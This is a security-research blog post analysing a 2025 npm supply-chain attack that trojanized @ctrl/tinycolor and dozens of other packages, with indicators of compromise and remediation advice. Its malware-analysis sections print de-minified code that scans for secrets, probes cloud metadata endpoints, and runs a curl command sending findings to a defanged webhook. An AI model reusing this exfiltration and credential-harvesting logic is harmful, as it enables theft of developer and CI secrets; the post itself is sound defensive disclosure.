Back
ResearchSecurity News

Popular Tinycolor npm Package Compromised in Supply Chain Attack Affecting 40+ Packages

Malicious update to @ctrl/tinycolor on npm is part of a supply-chain attack hitting 40+ packages across maintainers

Popular Tinycolor npm Package Compromised in Supply Chain Attack Affecting 40+ Packages

Socket Research Team

September 15, 2025

Update (September 16, 2025): This campaign has expanded significantly. Our follow up documents nearly 500 affected npm packages, including several open source CrowdStrike packages. Read the latest analysis and guidance: https://socket.dev/blog/ongoing-supply-chain-attack-targets-crowdstrike-npm-packages

A malicious update to @ctrl/tinycolor (2.2M weekly downloads) was detected on npm as part of a broader supply chain attack that impacted more than 40 packages spanning multiple maintainers.

The compromised versions include a function (NpmModule.updatePackage) that downloads a package tarball, modifies package.json, injects a local script (bundle.js), repacks the archive, and republishes it, enabling automatic trojanization of downstream packages.

The issue was first noticed by Daniel dos Santos Pereira, who flagged suspicious behavior in the latest release. Socket’s automated malware detection also surfaced the threat in 40+ additional packages, and our research team continues to analyze the payload and its distribution method. While tinycolor is the most visible package, with 2.2 million weekly downloads on npm, it did not originate these compromises, but is one package among dozens trojanized in this active campaign.

Compromised Packages and Versions

The following npm packages and versions have been confirmed as affected:

Malware Analysis#

The bundle.js script downloads and executes TruffleHog, a legitimate secret scanner, then searches the host for tokens and cloud credentials. It validates and uses developer and CI credentials, creates a GitHub Actions workflow inside repositories, and exfiltrates results to a hardcoded webhook (hxxps://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7).

The script runs automatically when the package is installed.

The referenced bundle.js is a large, minified file that functions as a controller. It profiles the platform, fetches a matching TruffleHog binary, and searches for known credential patterns across the filesystem and repositories.

// De-minified transcription from bundle.js
const { execSync } = require("child_process");
const os = require("os");

function trufflehogUrl() {
  const plat = os.platform();
  if (plat === "win32") return "hxxps://github[.]com/trufflesecurity/trufflehog/releases/download/.../trufflehog_windows_x86_64.zip";
  if (plat === "linux") return "hxxps://github[.]com/trufflesecurity/trufflehog/releases/download/.../trufflehog_linux_x86_64.tar.gz";
  return "hxxps://github[.]com/trufflesecurity/trufflehog/releases/download/.../trufflehog_darwin_all.tar.gz";
}

function runScanner(binaryPath, targetDir) {
  // Executes downloaded scanner against local paths
  const cmd = `"${binaryPath}" filesystem "${targetDir}" --json`;
  const out = execSync(cmd, { stdio: "pipe" }).toString();
  return JSON.parse(out); // Parsed findings contain tokens and secrets
}

The controller also includes a bash block that uses a GitHub personal access token if present, writes a GitHub Actions workflow into .github/workflows, and exfiltrates collected content to a webhook.

# Extracted from a literal script block inside bundle.js
FILE_NAME=".github/workflows/shai-hulud-workflow.yml"

# Minimal exfil step inside the generated workflow
# Note: defanged URL for safety
run: |
  CONTENTS="$(cat findings.json | base64 -w0)"
  curl -s -X POST -d "$CONTENTS" "hxxps://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7"

Stealing Secrets

The script combines local scanning with service specific probing. It looks for environment variables such as GITHUB_TOKEN, NPM_TOKEN, AWS_ACCESS_KEY_ID, and AWS_SECRET_ACCESS_KEY. It validates npm tokens with the whoami endpoint, and it interacts with GitHub APIs when a token is available. It also attempts cloud metadata discovery that can leak short lived credentials inside cloud build agents.

// Key network targets inside the bundle
const imdsV4 = "http://169[.]254[.]169[.]254";          // AWS instance metadata
const imdsV6 = "http://[fd00:ec2::254]";                // AWS metadata over IPv6
const gcpMeta = "http://metadata[.]google[.]internal";  // GCP metadata

// npm token verification
fetch("https://registry.npmjs.org/-/whoami", {
  headers: { "Authorization": `Bearer ${process.env.NPM_TOKEN}` }
});

// GitHub API use if GITHUB_TOKEN is present
fetch("https://api.github.com/user", {
  headers: { "Authorization": `token ${process.env.GITHUB_TOKEN}` }
});

The workflow that it writes to repositories persists beyond the initial host. Once committed, any future CI run can trigger the exfiltration step from within the pipeline where sensitive secrets and artifacts are available by design.

Additional Exfiltration

The payload aggregates findings into a local file named data.json before any outbound transfer. In addition to planting a workflow that posts ${{ toJSON(secrets) }} to webhook[.]site, the script can publish stolen data into public GitHub repositories created under the victim account, which mirrors patterns seen in the Nx incident. This route persists even if webhook egress is blocked, and it expands impact to any repositories reachable by the captured token.

Indicators of Compromise

  • bundle.js SHA-256: 46faab8ab153fae6e80e7cca38eab363075bb524edd79e42269217a083628f09
  • Exfiltration endpoint: hxxps://webhook[.]site/bb8ca5f6-4175-45d2-b042-fc9ebb8170b7

Immediate Guidance

  • Uninstall or pin to known-good versions until patched releases are verified.
  • Audit environments (CI/CD agents, developer laptops) that installed the affected versions for unauthorized publishes or credential theft.
  • Rotate npm tokens and other exposed secrets if these packages were present on machines with publishing credentials.
  • Monitor logs for unusual npm publish or package modification events.

A full technical analysis of the malware, its propagation method, and remediation guidance will follow as our investigation progresses.

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Try it now

Ready to block malicious and vulnerable dependencies?

Related posts

Back to all posts